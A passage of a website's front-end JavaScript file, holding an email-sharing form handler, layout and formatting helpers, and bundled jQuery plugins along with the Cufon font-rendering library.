				left: offset.left - 20 + 'px'
			}).stop().fadeIn(300, function () {
				$('#share-close').bind('click', function () {
					$(shareBox).remove();
				});
				$('#share-submit').bind('click', function () {
					var input = $('input[name]', shareBox);
					var reg = /^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/;
					$(input).each(function (i, inp) {
						var matched = $(inp).val().match(reg);
						if (matched == null) {
							$(inp).addClass('error');
						} else {
							$(inp).removeClass('error');
						}
					});
					if ($('.error', shareBox).length == 0) {
						var to = $('input[name="toEmail"]', shareBox).val();
						var from = $('input[name="fromEmail"]', shareBox).val();
						var url = window.location.href;
						$.ajax({
							type: "POST",
							url: "/Templates/Services/MailService.asmx/SendMail",
							data: "{'to':'" + to + "','from':'" + from + "','url':'" + url + "'}",
							contentType: 'application/json; charset=utf-8',
							dataType: 'json',
							beforeSend: function () {
								$('p', shareBox).addClass('loading');
							},
							error: function (e) {
								$('p', shareBox).animate({
									opacity: 0
								}, 'fast', function () {
									$(shareBox).append('<span id="share-sent">M' + LANG.Share[4] + '<br />' + LANG.Share[5] + '</span>');
								});
							},
							success: function (data) {
								$('p', shareBox).removeClass('loading').animate({
									opacity: 0
								}, 'fast', function () {
									if (data.d == true) {
										$(shareBox).append('<span id="share-sent">' + LANG.Share[6] + '</span>');
									} else if (data.d == false) {
										$(shareBox).append('<span id="share-sent">' + LANG.Share[4] + '<br />' + LANG.Share[5] + '</span>');
									}
									var t = setTimeout('$("#share-box").remove()', 3000);
								});
							}
						});
					}
				});
			});
		}
		return false;
	});
};
FUNCTIONS.FontReplace = function () {
	Cufon.replace('h1');
	Cufon.replace('div.panicinfo h2');
	Cufon.replace('div.panicinfo a');
	if($('#subpage.building-page').length === 0) Cufon.replace('div.columnbox .twocol h2');
	Cufon.replace('div.map-image h2');
};
FUNCTIONS.Thousands = function (nStr) {
	nStr += '';
	var x = nStr.split('.');
	var x1 = x[0];
	var x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		(LANG.lang === 'sv') ? x1 = x1.replace(rgx, '$1' + '&nbsp;' + '$2') : x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
};
FUNCTIONS.SameHeightContacts = function () {
	var contactRows = $("body#subpage #content #contacts > div .contact");
	var contactHeaders = $("body#subpage #content #contacts > div .group");
	var contactBusienssAreas = $("body#subpage #content #contacts > div .business-area");
	//var contactTitles = $("body#subpage #content #contacts > div .title");
	var contactTitles = $('#contacts  dd.title');
	var contactLists = $("body#subpage #content #contacts > div").find("dd:not(.title)");
	var contactListsHeight = 0;
	var contactTitlesHeight = 0;
	var contactBusienssAreasHeight = 0;
	var contactHeadersHeight = 0;

	$(contactLists).each(function () {
		if ($(this).outerHeight() > contactListsHeight) {
			contactListsHeight = $(this).outerHeight();
		}
	});

	$(contactTitles).each(function () {
		if ($(this).outerHeight() > contactTitlesHeight) {
			contactTitlesHeight = $(this).outerHeight();
		}
	});

	$(contactBusienssAreas).each(function () {
		if ($(this).outerHeight() > contactBusienssAreasHeight) {
			contactBusienssAreasHeight = $(this).outerHeight();
		}
	});

	$(contactHeaders).each(function () {
		if ($(this).outerHeight() > contactHeadersHeight) {
			contactHeadersHeight = $(this).outerHeight();
		}
	});

	//$(contactHeaders).height(contactHeadersHeight);
	$(contactBusienssAreas).height(contactBusienssAreasHeight);
	$(contactTitles).height(contactTitlesHeight - 12);
	$(contactLists).height(contactListsHeight);

	// Set final height
	var contactRowsHeight = Math.max($(contactRows).height());
	$(contactRows).height(contactRowsHeight);

	// Add hovers
	var contactBlock = $("body#subpage #content #contacts > div");
	$(contactBlock).hover(function () {
		$(this).addClass('hover');
	}, function () {
		$(this).removeClass('hover');
	});

};
FUNCTIONS.DatePicker = function() {
	$('.date-picker').datepicker({
		showAnim: 'fadeIn',
		numberOfMonths: 1,
		firstDay: 1,
		dateFormat: 'yy-mm-dd'
	});
};


/** JavaScript StringBuilder - 11/4/2011
* Made by Palle Zingmark <www.palleman.nu>
*/
var StringBuilder = function () {
	this.sb = [];
	this.clear = function () {
		this.sb.splice(0, this.sb.length);
	};
};
StringBuilder.prototype.add = function add(string){ 
	this.sb.push(string); 
	return this; 
};
StringBuilder.prototype.build = function build(){
	return this.sb.join('');
};

/** JavaScript between - 21/4/2011
* Made by Palle Zingmark <www.palleman.nu>
*/
String.prototype.between = function(prefix, suffix){
	var re = new RegExp("\\"+ prefix +"(.*?)\\"+ suffix,"i");
	if(re.test(this)){
		return re.exec(this)[1];
	} else {
		return '';
	}
};


String.prototype.encodeUrl = function () {
	var str = this.replace(/ /gi, '-');
	str = str.replace(/,/gi, '+');
	str = str.replace(/\//gi, '_');
	return encodeURI(str)
};
String.prototype.decodeUrl = function () {
	var str = this.replace(/-/gi, ' ');
	str = str.replace(/\+/gi, ',');
	str = str.replace(/_/gi, '/');
	return decodeURI(str);
};
String.prototype.arrayed = function (type) {
	var vals = this.split('+');
	var ret = [];
	if (vals) {
		for (var i = 0, z = vals.length; i < z; i++) {
			ret.push([vals[i], type]);
		}
	}
	return ret;
};

/* PLUGINS ---------------------------------------------------------------------- */

/** Vertical Align - 6/4/2011
* Copyright (c) 2011 Palle Zingmark <www.palleman.nu>
*/
(function($){
	$.fn.vAlign = function() {
		return this.each(function(i){
			var elm = $(this),
				height = elm.height(),
                parentHeight = elm.parent().height(),
                margin = Math.ceil((parentHeight-height) / 2);
			$(this).css('margin-top', margin);
		});
	};
})(jQuery);


/** Form Select Restyled v1.2.1 Beta - jQuery Plugin
* Copyright (c) 2010 Patrik Totero
* Author: 	Patrik Totero, www.patriktotero.com
* Released with the MIT License: http://www.opensource.org/licenses/mit-license.php
*/
(function ($) { $.fn.FormSelectRestyled = function ($nameAsId, $className, $noSelectSign, $maxHeight) { return this.each(function () { var $parent = $(this); $parent.find('select').each(function (i, elm) { var $selectWidth = $(elm).width(); $(elm).find('option').each(function (i, elm) { if ($(elm).attr('value') === '') { $(elm).text($noSelectSign + $(elm).text() + $noSelectSign); } if (i === 0) { $(elm).wrapInner('<span />'); $($parent).data('form-values', { selectValue: $(elm).text() }); } var $innerHtml = $(elm).html(); if ($(elm).val() === '') { $(elm).replaceWith('<li class="' + $className + '-section">' + $innerHtml + '</li>'); } else { $(elm).replaceWith('<li>' + $innerHtml + '</li>'); } }); var $innerHtml = $(elm).html(); var $ul = $('<ul />').css({ width: $selectWidth }); var classFunctions = $(elm).attr('class').split(' '); $(elm).replaceWith($ul); if ($nameAsId) { var $id = $(elm).attr('name'); $ul.attr('id', $id); var $input = $('<input type="hidden" name="' + $id + '" value="' + $($parent).data('form-values').selectValue + '" />'); $ul.after($input); } $ul.html($innerHtml); $ul.attr('class', $className); var $li = $ul.find('li'); $($li[0]).clone().appendTo($li[0]); $li.each(function (i, elm) { if (i > 0) { $(elm).detach().appendTo($li[0]); } }); $ul.find('li li').wrapAll('<ul class="' + $className + '-drop" />'); $('.' + $className + '-drop', $ul).css({ top: $li.innerHeight(), width: $ul.width() }); $ul.append('<li class="' + $className + '-open"><span /></li>'); $('.' + $className + '-open span', $ul).css({ width: $selectWidth + 'px', height: $ul.height() + 'px' }).bind('click', function () { var offset = $ul.offset(); var $clone = $(this).parent().prev().find('ul').clone(); $('body').append($clone); $clone.wrap('<div id="' + $className + '-clone" />').removeClass(); $clone.find('li').not('.' + $className + '-section').bind('click', function () { $($li[0]).find('span').eq(0).text($(this).text()); if ($nameAsId) $($input).attr('value', $(this).text()); }); if ($maxHeight > 0) { $clone.parent().css({ height: $maxHeight + 'px', 'overflow': 'hidden', 'overflow-y': 'scroll' }); } $clone.parent().css({ display: 'none', position: 'absolute', top: offset.top + $ul.height() + 'px', left: offset.left + 'px', width: $ul.width() }).fadeIn('fast', function () { $(this).one('mouseleave', function () { $(this).fadeOut('fast', function () { $(this).remove(); }); }).one('click', function () { $(classFunctions).each(function (i, obj) { if (obj.indexOf('func-') != -1) { var func = obj.substring(5, obj.length); eval(func + '("' + $ul.attr("id") + '");'); } }); $(this).fadeOut('fast', function () { $(this).remove(); }); }); }); }); }); }); } })(jQuery);

/** Textfield Placeholders - jQuery Plugin
* Copyright (c) 2009 Palle Zingmark
* Author: 	Palle Zingmark, www.palleman.nu
*		 	Philip Hofstetter, www.gnegg.ch
* Released with the MIT License: http://www.opensource.org/licenses/mit-license.php
*/
(function ($) { $.fn.TextfieldPlaceholders = function () { return this.each(function () { var $parent = $(this); $parent.find('input:text[value=""],input:password[value=""]').each(function (i) { var $input = $(this), $placeholder = $($input).attr('placeholder'), $basecolors = ['#000000', 'rgb(0, 0, 0)'], $color = $($input).css('color'), $hascolor = jQuery.inArray($color, $basecolors); if (typeof $placeholder === 'undefined' || $placeholder === '') { $placeholder = $parent.find('label[for="' + $($input).attr('id') + '"]').text(); } if (typeof $placeholder === 'string' || $placeholder !== '') { var $original_input = '', $proxy = ''; if ($input.attr('type') == 'password') { $proxy = $('<input type="text" />'); $original_input = $input; $proxy.attr('class', $input.attr('class')); $proxy.attr('style', $input.attr('style')); $proxy.insertAfter($input); $input.hide(); $input = $proxy; } $input.attr('value', $placeholder); $input.attr('title', $placeholder); if ($hascolor || $hascolor != -1) { $input.css('color', '#aeaeae'); } $input.bind('focus', function () { if ($input.attr('value') == $placeholder) { if ($original_input) { $input.hide(); $original_input.show(); $input = $original_input; $input.focus(); } $input.attr('value', ''); $input.css('color', $color); } }); ($original_input || $input).bind('blur', function () { if ($input.attr('value') === $placeholder || $input.attr('value') === '') { if ($original_input) { $original_input.hide(); $proxy.show(); $input = $proxy; } $input.attr('value', $placeholder); if ($hascolor || $hascolor != -1) { $input.css('color', '#aeaeae'); } } }); } }); }); }; })(jQuery);


/** Equalize heights - jQuery Plugin
* Copyright (c) 2010 Hallvarsson & Halvarsson
* Released with the MIT License: http://www.opensource.org/licenses/mit-license.php
*/
(function ($) { var plugin = $.fn.equalizeHeights = function (options) { var options = $.extend({}, $.fn.equalizeHeights.defaults, options); options.defaults = $.fn.equalizeHeights.defaults; options._this = this; var heightOfTallestElement = options.getHeightOfTallestElement(options, this); return this.each(function () { options.setHeightOfElement(options, $(this), heightOfTallestElement); }); }; plugin.defaults = { getHeightOfTallestElement: function (options, elements) { var heightOfTallestElement = 0; elements.each(function () { var element = $(this); var elementHeight = element.height(); if (elementHeight > heightOfTallestElement) { heightOfTallestElement = elementHeight; } }); return heightOfTallestElement; }, setHeightOfElement: function (options, element, height) { var elementHeight = element.height(); element.css("height", (height) + "px"); } }; function valueIsValid(options, key) { return (options[key] === 0 || options[key]) ? true : false; } function getValue(options, key, functionTarget, opts) { var value = options[key]; if (typeof value == "function") { value = value.apply(functionTarget, new Array(options)); } if (!value) { if (opts && (opts["default"] === 0 || opts["default"])) { return opts["default"]; } return value; } if (opts && opts.suffix) { return value + opts.suffix; } else { return value; } } function executeCallback(options, key, functionTarget) { getValue(options, key, functionTarget); } })(jQuery);

/**
* jQuery hashchange event - v1.3 - 7/21/2010
* http://benalman.com/projects/jquery-hashchange-plugin/
* 
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,i=h.documentMode,d="on"+c in e&&(i===b||i>7);function a(j){j=j||location.href;return"#"+j.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(j){return j?this.bind(c,j):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var j={},p,m=a(),k=function(q){return q},l=k,o=k;j.start=function(){p||n()};j.stop=function(){p&&clearTimeout(p);p=b};function n(){var r=a(),q=o(m);if(r!==m){l(m=r,q);$(e).trigger(c)}else{if(q!==m){location.href=location.href.replace(/#.*/,"")+q}}p=setTimeout(n,$.fn[c].delay)}$.browser.msie&&!d&&(function(){var q,r;j.start=function(){if(!q){r=$.fn[c].src;r=r&&r+a();q=$('<iframe tabindex="-1" title="empty"/>').hide().one("load",function(){r||l(a());n()}).attr("src",r||"javascript:0").insertAfter("body")[0].contentWindow;h.onpropertychange=function(){try{if(event.propertyName==="title"){q.document.title=h.title}}catch(s){}}}};j.stop=k;o=function(){return a(q.location.href)};l=function(v,s){var u=q.document,t=$.fn[c].domain;if(v!==s){u.title=h.title;u.open();t&&u.write('<script>document.domain="'+t+'"<\/script>');u.close();q.location.hash=v}}})();return j})()})(jQuery,this);

/**
* Copyright (c) 2009 Simo Kinnunen.
* Licensed under the MIT license.
* @version 1.09i
*/
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var 